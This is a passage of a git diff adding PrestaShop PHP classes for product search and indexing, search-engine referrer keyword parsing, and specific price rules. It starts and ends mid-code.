($indexation) + $string = preg_replace('/[._-]+/', '', $string); + else + { + $string = preg_replace('/[._]+/', '', $string); + $string = ltrim(preg_replace('/([^ ])-/', '$1', ' '.$string)); + $string = preg_replace('/[._]+/', '', $string); + $string = preg_replace('/[^\s]-+/', '', $string); + } + + $blacklist = Tools::strtolower(Configuration::get('PS_SEARCH_BLACKLIST', $id_lang)); + if (!empty($blacklist)) + { + $string = preg_replace('/(?<=\s)('.$blacklist.')(?=\s)/Su', '', $string); + $string = preg_replace('/^('.$blacklist.')(?=\s)/Su', '', $string); + $string = preg_replace('/(?<=\s)('.$blacklist.')$/Su', '', $string); + $string = preg_replace('/^('.$blacklist.')$/Su', '', $string); + } + + if (!$indexation) + { + $words = explode(' ', $string); + $processed_words = array(); + // search for aliases for each word of the query + foreach ($words as $word) + { + $alias = new Alias(null, $word); + if (Validate::isLoadedObject($alias)) + $processed_words[] = $alias->search; + else + $processed_words[] = $word; + } + $string = implode(' ', $processed_words); + } + + if ($indexation) + { + $minWordLen = (int)Configuration::get('PS_SEARCH_MINWORDLEN'); + if ($minWordLen > 1) + { + $minWordLen -= 1; + $string = preg_replace('/(?<=\s)[^\s]{1,'.$minWordLen.'}(?=\s)/Su', ' ', $string); + $string = preg_replace('/^[^\s]{1,'.$minWordLen.'}(?=\s)/Su', '', $string); + $string = preg_replace('/(?<=\s)[^\s]{1,'.$minWordLen.'}$/Su', '', $string); + $string = preg_replace('/^[^\s]{1,'.$minWordLen.'}$/Su', '', $string); + } + } + + $string = trim(preg_replace('/\s+/', ' ', $string)); + return $string; + } + + public static function find($id_lang, $expr, $page_number = 1, $page_size = 1, $order_by = 'position', + $order_way = 'desc', $ajax = false, $use_cookie = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $db = Db::getInstance(_PS_USE_SQL_SLAVE_); + + // Only use cookie if id_customer is not present + if ($use_cookie) + $id_customer = $context->customer->id; + else + $id_customer = 0; + + // TODO : smart page management + if ($page_number < 1) $page_number = 1; + if ($page_size < 1) $page_size = 1; + + if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + return false; + + $intersect_array = array(); + $score_array = array(); + $words = explode(' ', Search::sanitize($expr, $id_lang)); + + foreach ($words as $key => $word) + if (!empty($word) && strlen($word) >= (int)Configuration::get('PS_SEARCH_MINWORDLEN')) + { + $word = str_replace('%', '\\%', $word); + $word = str_replace('_', '\\_', $word); + $intersect_array[] = 'SELECT si.id_product + FROM '._DB_PREFIX_.'search_word sw + LEFT JOIN '._DB_PREFIX_.'search_index si ON sw.id_word = si.id_word + WHERE sw.id_lang = '.(int)$id_lang.' + AND sw.id_shop = '.$context->shop->id.' + AND sw.word LIKE + '.($word[0] == '-' + ? ' \''.pSQL(Tools::substr($word, 1, PS_SEARCH_MAX_WORD_LENGTH)).'%\'' + : '\''.pSQL(Tools::substr($word, 0, PS_SEARCH_MAX_WORD_LENGTH)).'%\'' + ); + + if ($word[0] != '-') + $score_array[] = 'sw.word LIKE \''.pSQL(Tools::substr($word, 0, PS_SEARCH_MAX_WORD_LENGTH)).'%\''; + } + else + unset($words[$key]); + + if (!count($words)) + return ($ajax ? array() : array('total' => 0, 'result' => array())); + + $score = ''; + if (count($score_array)) + $score = ',( + SELECT SUM(weight) + FROM '._DB_PREFIX_.'search_word sw + LEFT JOIN '._DB_PREFIX_.'search_index si ON sw.id_word = si.id_word + WHERE sw.id_lang = '.(int)$id_lang.' + AND sw.id_shop = '.$context->shop->id.' + AND si.id_product = p.id_product + AND ('.implode(' OR ', $score_array).') + ) position'; + + $sql = 'SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + INNER JOIN `'._DB_PREFIX_.'category_product` cp ON cp.`id_category` = cg.`id_category` + INNER JOIN `'._DB_PREFIX_.'category` c ON cp.`id_category` = c.`id_category` + INNER JOIN `'._DB_PREFIX_.'product` p ON cp.`id_product` = p.`id_product` + '.Shop::addSqlAssociation('product', 'p', false).' + WHERE c.`active` = 1 + AND product_shop.`active` = 1 + AND product_shop.`visibility` IN ("both", "search") + AND product_shop.indexed = 1 + AND cg.`id_group` '.(!$id_customer ? '= 1' : 'IN ( + SELECT id_group FROM '._DB_PREFIX_.'customer_group + WHERE id_customer = '.(int)$id_customer.' + )'); + $results = $db->executeS($sql); + + $eligible_products = array(); + foreach ($results as $row) + $eligible_products[] = $row['id_product']; + foreach ($intersect_array as $query) + { + $eligible_products2 = array(); + foreach ($db->executeS($query) as $row) + $eligible_products2[] = $row['id_product']; + + $eligible_products = array_intersect($eligible_products, $eligible_products2); + if (!count($eligible_products)) + return ($ajax ? array() : array('total' => 0, 'result' => array())); + } + + $eligible_products = array_unique($eligible_products); + + $product_pool = ''; + foreach ($eligible_products as $id_product) + if ($id_product) + $product_pool .= (int)$id_product.','; + if (empty($product_pool)) + return ($ajax ? array() : array('total' => 0, 'result' => array())); + $product_pool = ((strpos($product_pool, ',') === false) ? (' = '.(int)$product_pool.' ') : (' IN ('.rtrim($product_pool, ',').') ')); + + if ($ajax) + { + $sql = 'SELECT DISTINCT p.id_product, pl.name pname, cl.name cname, + cl.link_rewrite crewrite, pl.link_rewrite prewrite '.$score.' + FROM '._DB_PREFIX_.'product p + INNER JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + '.Shop::addSqlAssociation('product', 'p').' + INNER JOIN `'._DB_PREFIX_.'category_lang` cl ON ( + product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').' + ) + WHERE p.`id_product` '.$product_pool.' + ORDER BY position DESC LIMIT 10'; + return $db->executeS($sql); + } + + if (strpos($order_by, '.') > 0) + { + $order_by = explode('.', $order_by); + $order_by = pSQL($order_by[0]).'.`'.pSQL($order_by[1]).'`'; + } + $alias = ''; + if ($order_by == 'price') + $alias = 'product_shop.'; + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, + pl.`description_short`, pl.`available_now`, pl.`available_later`, pl.`link_rewrite`, pl.`name`, + MAX(image_shop.`id_image`) id_image, il.`legend`, m.`name` manufacturer_name '.$score.', MAX(product_attribute_shop.`id_product_attribute`) id_product_attribute, + DATEDIFF( + p.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 new + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + INNER JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (p.`id_product` = pa.`id_product`) + '.Shop::addSqlAssociation('product_attribute', 'pa', false, 'product_attribute_shop.`default_on` = 1').' + '.Product::sqlStock('p', 'product_attribute_shop', false, $context->shop).' + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON m.`id_manufacturer` = p.`id_manufacturer` + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + WHERE p.`id_product` '.$product_pool.' + GROUP BY product_shop.id_product + '.($order_by ? 'ORDER BY '.$alias.$order_by : '').($order_way ? ' '.$order_way : '').' + LIMIT '.(int)(($page_number - 1) * $page_size).','.(int)$page_size; + $result = $db->executeS($sql); + + $sql = 'SELECT COUNT(*) + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + INNER JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON m.`id_manufacturer` = p.`id_manufacturer` + WHERE p.`id_product` '.$product_pool; + $total = $db->getValue($sql); + + if (!$result) + $result_properties = false; + else + $result_properties = Product::getProductsProperties((int)$id_lang, $result); + + return array('total' => $total,'result' => $result_properties); + } + + public static function getTags($db, $id_product, $id_lang) + { + $tags = ''; + $tagsArray = $db->executeS(' + SELECT t.name FROM '._DB_PREFIX_.'product_tag pt + LEFT JOIN '._DB_PREFIX_.'tag t ON (pt.id_tag = t.id_tag AND t.id_lang = '.(int)$id_lang.') + WHERE pt.id_product = '.(int)$id_product); + foreach ($tagsArray as $tag) + $tags .= $tag['name'].' '; + return $tags; + } + + public static function getAttributes($db, $id_product, $id_lang) + { + if (!Combination::isFeatureActive()) + return ''; + + $attributes = ''; + $attributesArray = $db->executeS(' + SELECT al.name FROM '._DB_PREFIX_.'product_attribute pa + INNER JOIN '._DB_PREFIX_.'product_attribute_combination pac ON pa.id_product_attribute = pac.id_product_attribute + INNER JOIN '._DB_PREFIX_.'attribute_lang al ON (pac.id_attribute = al.id_attribute AND al.id_lang = '.(int)$id_lang.') + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.id_product = '.(int)$id_product); + foreach ($attributesArray as $attribute) + $attributes .= $attribute['name'].' '; + return $attributes; + } + + public static function getFeatures($db, $id_product, $id_lang) + { + if (!Feature::isFeatureActive()) + return ''; + + $features = ''; + $featuresArray = $db->executeS(' + SELECT fvl.value FROM '._DB_PREFIX_.'feature_product fp + LEFT JOIN '._DB_PREFIX_.'feature_value_lang fvl ON (fp.id_feature_value = fvl.id_feature_value AND fvl.id_lang = '.(int)$id_lang.') + WHERE fp.id_product = '.(int)$id_product); + foreach ($featuresArray as $feature) + $features .= $feature['value'].' '; + return $features; + } + + protected static function getProductsToIndex($total_languages, $id_product = false, $limit = 50) + { + // Adjust the limit to get only "whole" products, in every languages (and at least one) + $max_possibilities = $total_languages * count(Shop::getShops(true)); + $limit = max($max_possibilities, floor($limit / $max_possibilities) * $max_possibilities); + + return Db::getInstance()->executeS(' + SELECT p.id_product, pl.id_lang, pl.id_shop, pl.name pname, p.reference, p.ean13, p.upc, + pl.description_short, pl.description, cl.name cname, m.name mname + FROM '._DB_PREFIX_.'product p + LEFT JOIN '._DB_PREFIX_.'product_lang pl + ON p.id_product = pl.id_product + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN '._DB_PREFIX_.'category_lang cl + ON (cl.id_category = product_shop.id_category_default AND pl.id_lang = cl.id_lang AND cl.id_shop = product_shop.id_shop) + LEFT JOIN '._DB_PREFIX_.'manufacturer m + ON m.id_manufacturer = p.id_manufacturer + WHERE product_shop.indexed = 0 + AND product_shop.visibility IN ("both", "search") + '.($id_product ? 'AND p.id_product = '.(int)$id_product : '').' + LIMIT '.(int)$limit + ); + } + + public static function indexation($full = false, $id_product = false) + { + $db = Db::getInstance(); + + if ($id_product) + $full = false; + + if ($full) + { + $db->execute('TRUNCATE '._DB_PREFIX_.'search_index'); + $db->execute('TRUNCATE '._DB_PREFIX_.'search_word'); + ObjectModel::updateMultishopTable('Product', array('indexed' => 0), '1'); + } + else + { + // Do it even if you already know the product id in order to be sure that it exists and it needs to be indexed + $products = $db->executeS(' + SELECT p.id_product + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + WHERE product_shop.visibility IN ("both", "search") + AND '.($id_product ? 'p.id_product = '.(int)$id_product : 'product_shop.indexed = 0') + ); + + $ids = array(); + if ($products) + foreach ($products as $product) + $ids[] = (int)$product['id_product']; + if (count($ids)) + { + $db->execute('DELETE FROM '._DB_PREFIX_.'search_index WHERE id_product IN ('.implode(',', $ids).')'); + ObjectModel::updateMultishopTable('Product', array('indexed' => 0), 'a.id_product IN ('.implode(',', $ids).')'); + } + } + + // Every fields are weighted according to the configuration in the backend + $weight_array = array( + 'pname' => Configuration::get('PS_SEARCH_WEIGHT_PNAME'), + 'reference' => Configuration::get('PS_SEARCH_WEIGHT_REF'), + 'ean13' => Configuration::get('PS_SEARCH_WEIGHT_REF'), + 'upc' => Configuration::get('PS_SEARCH_WEIGHT_REF'), + 'description_short' => Configuration::get('PS_SEARCH_WEIGHT_SHORTDESC'), + 'description' => Configuration::get('PS_SEARCH_WEIGHT_DESC'), + 'cname' => Configuration::get('PS_SEARCH_WEIGHT_CNAME'), + 'mname' => Configuration::get('PS_SEARCH_WEIGHT_MNAME'), + 'tags' => Configuration::get('PS_SEARCH_WEIGHT_TAG'), + 'attributes' => Configuration::get('PS_SEARCH_WEIGHT_ATTRIBUTE'), + 'features' => Configuration::get('PS_SEARCH_WEIGHT_FEATURE') + ); + + // Those are kind of global variables required to save the processed data in the database every X occurrences, in order to avoid overloading MySQL + $count_words = 0; + $query_array3 = array(); + $products_array = array(); + + // Every indexed words are cached into a PHP array + $word_ids = $db->executeS(' + SELECT id_word, word, id_lang, id_shop + FROM '._DB_PREFIX_.'search_word', false); + $word_ids_by_word = array(); + while ($word_id = $db->nextRow($word_ids)) + { + if (!isset($word_ids_by_word[$word_id['id_shop']][$word_id['id_lang']])) + $word_ids_by_word[$word_id['id_shop']][$word_id['id_lang']] = array(); + $word_ids_by_word[$word_id['id_shop']][$word_id['id_lang']]['_'.$word_id['word']] = (int)$word_id['id_word']; + } + + // Retrieve the number of languages + $total_languages = count(Language::getLanguages(false)); + + // Products are processed 50 by 50 in order to avoid overloading MySQL + while (($products = Search::getProductsToIndex($total_languages, $id_product, 50)) && (count($products) > 0)) + { + // Now each non-indexed product is processed one by one, langage by langage + foreach ($products as $product) + { + $product['tags'] = Search::getTags($db, (int)$product['id_product'], (int)$product['id_lang']); + $product['attributes'] = Search::getAttributes($db, (int)$product['id_product'], (int)$product['id_lang']); + $product['features'] = Search::getFeatures($db, (int)$product['id_product'], (int)$product['id_lang']); + + // Data must be cleaned of html, bad characters, spaces and anything, then if the resulting words are long enough, they're added to the array + $product_array = array(); + foreach ($product as $key => $value) + if (strncmp($key, 'id_', 3)) + { + $words = explode(' ', Search::sanitize($value, (int)$product['id_lang'], true)); + foreach ($words as $word) + if (!empty($word)) + { + $word = Tools::substr($word, 0, PS_SEARCH_MAX_WORD_LENGTH); + // Remove accents + $word = Tools::replaceAccentedChars($word); + + if (!isset($product_array[$word])) + $product_array[$word] = 0; + $product_array[$word] += $weight_array[$key]; + } + } + + // If we find words that need to be indexed, they're added to the word table in the database + if (count($product_array)) + { + $query_array = $query_array2 = array(); + foreach ($product_array as $word => $weight) + if ($weight && !isset($word_ids_by_word['_'.$word])) + { + $query_array[$word] = '('.(int)$product['id_lang'].', '.(int)$product['id_shop'].', \''.pSQL($word).'\')'; + $query_array2[] = '\''.pSQL($word).'\''; + $word_ids_by_word[$product['id_shop']][$product['id_lang']]['_'.$word] = 0; + } + + if ($query_array2) + { + $existing_words = $db->executeS(' + SELECT DISTINCT word FROM '._DB_PREFIX_.'search_word + WHERE word IN ('.implode(',', $query_array2).') + AND id_lang = '.(int)$product['id_lang'].' + AND id_shop = '.(int)$product['id_shop']); + + foreach ($existing_words as $data) + unset($query_array[Tools::replaceAccentedChars($data['word'])]); + } + + if (count($query_array)) + { + // The words are inserted... + $db->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'search_word (id_lang, id_shop, word) + VALUES '.implode(',', $query_array)); + } + if (count($query_array2)) + { + // ...then their IDs are retrieved and added to the cache + $added_words = $db->executeS(' + SELECT sw.id_word, sw.word + FROM '._DB_PREFIX_.'search_word sw + WHERE sw.word IN ('.implode(',', $query_array2).') + AND sw.id_lang = '.(int)$product['id_lang'].' + AND sw.id_shop = '.(int)$product['id_shop'].' + LIMIT '.count($query_array2)); + // replace accents from the retrieved words so that words without accents or with differents accents can still be linked + foreach ($added_words as $word_id) + $word_ids_by_word[$product['id_shop']][$product['id_lang']]['_'.Tools::replaceAccentedChars($word_id['word'])] = (int)$word_id['id_word']; + } + } + + foreach ($product_array as $word => $weight) + { + if (!$weight) + continue; + if (!isset($word_ids_by_word[$product['id_shop']][$product['id_lang']]['_'.$word])) + continue; + if (!$word_ids_by_word[$product['id_shop']][$product['id_lang']]['_'.$word]) + continue; + $query_array3[] = '('.(int)$product['id_product'].','. + (int)$word_ids_by_word[$product['id_shop']][$product['id_lang']]['_'.$word].','.(int)$weight.')'; + // Force save every 200 words in order to avoid overloading MySQL + if (++$count_words % 200 == 0) + Search::saveIndex($query_array3); + } + + if (!in_array($product['id_product'], $products_array)) + $products_array[] = (int)$product['id_product']; + } + Search::setProductsAsIndexed($products_array); + + // One last save is done at the end in order to save what's left + Search::saveIndex($query_array3); + } + return true; + } + + protected static function setProductsAsIndexed(&$products) + { + if (count($products)) + ObjectModel::updateMultishopTable('Product', array('indexed' => 1), 'a.id_product IN ('.implode(',', $products).')'); + } + + /** $queryArray3 is automatically emptied in order to be reused immediatly */ + protected static function saveIndex(&$queryArray3) + { + if (count($queryArray3)) + Db::getInstance()->execute( + 'INSERT INTO '._DB_PREFIX_.'search_index (id_product, id_word, weight) + VALUES '.implode(',', $queryArray3).' + ON DUPLICATE KEY UPDATE weight = weight + VALUES(weight)' + ); + $queryArray3 = array(); + } + + public static function searchTag($id_lang, $tag, $count = false, $pageNumber = 0, $pageSize = 10, $orderBy = false, $orderWay = false, + $useCookie = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + // Only use cookie if id_customer is not present + if ($useCookie) + $id_customer = (int)$context->customer->id; + else + $id_customer = 0; + + if (!is_numeric($pageNumber) || !is_numeric($pageSize) || !Validate::isBool($count) || !Validate::isValidSearch($tag) + || $orderBy && !$orderWay || ($orderBy && !Validate::isOrderBy($orderBy)) || ($orderWay && !Validate::isOrderBy($orderWay))) + return false; + + if ($pageNumber < 1) $pageNumber = 1; + if ($pageSize < 1) $pageSize = 10; + + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id : Configuration::get('PS_SHOP_DEFAULT'); + if ($count) + { + $sql = 'SELECT COUNT(DISTINCT pt.`id_product`) nb + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_tag` pt ON (p.`id_product` = pt.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'tag` t ON (pt.`id_tag` = t.`id_tag` AND t.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_product` = p.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs ON (cp.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + LEFT JOIN `'._DB_PREFIX_.'category_group` cg ON (cg.`id_category` = cp.`id_category`) + WHERE product_shop.`active` = 1 + AND cs.`id_shop` = '.(int)Context::getContext()->shop->id.' + AND cg.`id_group` '.(!$id_customer ? '= 1' : 'IN ( + SELECT id_group FROM '._DB_PREFIX_.'customer_group + WHERE id_customer = '.(int)$id_customer.')').' + AND t.`name` LIKE \'%'.pSQL($tag).'%\''; + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + $sql = 'SELECT DISTINCT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, pl.`description_short`, pl.`link_rewrite`, pl.`name`, + MAX(image_shop.`id_image`) id_image, il.`legend`, m.`name` manufacturer_name, 1 position, + DATEDIFF( + p.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 new + FROM `'._DB_PREFIX_.'product` p + INNER JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + '.Shop::addSqlAssociation('product', 'p', false).' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON (m.`id_manufacturer` = p.`id_manufacturer`) + LEFT JOIN `'._DB_PREFIX_.'product_tag` pt ON (p.`id_product` = pt.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'tag` t ON (pt.`id_tag` = t.`id_tag` AND t.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_product` = p.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'category_group` cg ON (cg.`id_category` = cp.`id_category`) + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs ON (cg.`id_category` = cs.`id_category` AND cs.`id_shop` = '.(int)$id_shop.') + '.Product::sqlStock('p', 0).' + WHERE product_shop.`active` = 1 + AND cs.`id_shop` = '.(int)Context::getContext()->shop->id.' + AND cg.`id_group` '.(!$id_customer ? '= 1' : 'IN ( + SELECT id_group FROM '._DB_PREFIX_.'customer_group + WHERE id_customer = '.(int)$id_customer.')').' + AND t.`name` LIKE \'%'.pSQL($tag).'%\' + GROUP BY product_shop.id_product + ORDER BY position DESC'.($orderBy ? ', '.$orderBy : '').($orderWay ? ' '.$orderWay : '').' + LIMIT '.(int)(($pageNumber - 1) * $pageSize).','.(int)$pageSize; + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + return false; + + return Product::getProductsProperties((int)$id_lang, $result); + } +} diff --git a/classes/SearchEngine.php b/classes/SearchEngine.php new file mode 100755 index 0000000..30bc7fa --- /dev/null +++ b/classes/SearchEngine.php @@ -0,0 +1,69 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SearchEngineCore extends ObjectModel +{ + public $server; + public $getvar; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'search_engine', + 'primary' => 'id_search_engine', + 'fields' => array( + 'server' => array('type' => self::TYPE_STRING, 'validate' => 'isUrl', 'required' => true), + 'getvar' => array('type' => self::TYPE_STRING, 'validate' => 'isModuleName', 'required' => true), + ), + ); + + public static function getKeywords($url) + { + $parsed_url = @parse_url($url); + if (!isset($parsed_url['host']) || !isset($parsed_url['query'])) + return false; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `server`, `getvar` FROM `'._DB_PREFIX_.'search_engine`'); + foreach ($result as $row) + { + $host =& $row['server']; + $varname =& $row['getvar']; + if (strstr($parsed_url['host'], $host)) + { + $array = array(); + preg_match('/[^a-z]'.$varname.'=.+\&/U', $parsed_url['query'], $array); + if (empty($array[0])) + preg_match('/[^a-z]'.$varname.'=.+$/', $parsed_url['query'], $array); + if (empty($array[0])) + return false; + $str = urldecode(str_replace('+', ' ', ltrim(substr(rtrim($array[0], '&'), strlen($varname) + 1), '='))); + return $str; + } + } + } +} + + diff --git a/classes/SpecificPrice.php b/classes/SpecificPrice.php new file mode 100755 index 0000000..f47f1a5 --- /dev/null +++ b/classes/SpecificPrice.php @@ -0,0 +1,421 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SpecificPriceCore extends ObjectModel +{ + public $id_product; + public $id_specific_price_rule = 0; + public $id_cart = 0; + public $id_product_attribute; + public $id_shop; + public $id_shop_group; + public $id_currency; + public $id_country; + public $id_group; + public $id_customer; + public $price; + public $from_quantity; + public $reduction; + public $reduction_type; + public $from; + public $to; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'specific_price', + 'primary' => 'id_specific_price', + 'fields' => array( + 'id_shop_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_cart' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_product_attribute' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_currency' => array('type' => self::TYPE_INT, 'required' => true), + 'id_specific_price_rule' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_country' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'price' => array('type' => self::TYPE_FLOAT, 'validate' => 'isNegativePrice', 'required' => true), + 'from_quantity' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'reduction' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'reduction_type' => array('type' => self::TYPE_STRING, 'validate' => 'isReductionType', 'required' => true), + 'from' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'required' => true), + 'to' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'required' => true), + ), + ); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'specific_prices', + 'objectNodeName' => 'specific_price', + 'fields' => array( + 'id_shop_group' => array('xlink_resource' => 'shop_groups'), + 'id_shop' => array('xlink_resource' => 'shops', 'required' => true), + 'id_cart' => array('xlink_resource' => 'carts', 'required' => true), + 'id_product' => array('xlink_resource' => 'products', 'required' => true), + 'id_product_attribute' => array('xlink_resource' => 'product_attributes'), + 'id_currency' => array('xlink_resource' => 'currencies', 'required' => true), + 'id_country' => array('xlink_resource' => 'countries', 'required' => true), + 'id_group' => array('xlink_resource' => 'groups', 'required' => true), + 'id_customer' => array('xlink_resource' => 'customers', 'required' => true), + ), + ); + + + protected static $_specificPriceCache = array(); + protected static $_cache_priorities = array(); + + public function add($autodate = true, $nullValues = false) + { + if (parent::add($autodate, $nullValues)) + { + // Flush cache when we adding a new specific price + self::$_specificPriceCache = array(); + Product::flushPriceCache(); + // Set cache of feature detachable to true + Configuration::updateGlobalValue('PS_SPECIFIC_PRICE_FEATURE_ACTIVE', '1'); + return true; + } + return false; + } + + public function update($null_values = false) + { + if (parent::update($null_values)) + { + // Flush cache when we updating a new specific price + self::$_specificPriceCache = array(); + Product::flushPriceCache(); + return true; + } + return false; + } + + public function delete() + { + if (parent::delete()) + { + // Flush cache when we deletind a new specific price + self::$_specificPriceCache = array(); + Product::flushPriceCache(); + // Refresh cache of feature detachable + Configuration::updateGlobalValue('PS_SPECIFIC_PRICE_FEATURE_ACTIVE', SpecificPrice::isCurrentlyUsed($this->def['table'])); + return true; + } + return false; + } + + public static function getByProductId($id_product, $id_product_attribute = false, $id_cart = false) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'specific_price` + WHERE `id_product` = '.(int)$id_product. + ($id_product_attribute ? 'AND id_product_attribute = '.(int)$id_product_attribute : '').' + AND id_cart = '.(int)$id_cart); + } + + public static function deleteByIdCart($id_cart, $id_product = false, $id_product_attribute = false) + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'specific_price` + WHERE id_cart='.(int)$id_cart. + ($id_product ? ' AND id_product='.(int)$id_product.' AND id_product_attribute='.(int)$id_product_attribute : '')); + } + + public static function getIdsByProductId($id_product, $id_product_attribute = false, $id_cart = 0) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT `id_specific_price` + FROM `'._DB_PREFIX_.'specific_price` + WHERE `id_product` = '.(int)$id_product.' + AND id_product_attribute='.(int)$id_product_attribute.' + AND id_cart='.(int)$id_cart); + } + + /** + * score generation for quantity discount + */ + protected static function _getScoreQuery($id_product, $id_shop, $id_currency, $id_country, $id_group, $id_customer) + { + $select = '('; + + $now = date('Y-m-d H:i:s'); + $select .= ' IF (\''.$now.'\' >= `from` AND \''.$now.'\' <= `to`, '.pow(2, 0).', 0) + '; + + $priority = SpecificPrice::getPriority($id_product); + foreach (array_reverse($priority) as $k => $field) + $select .= ' IF 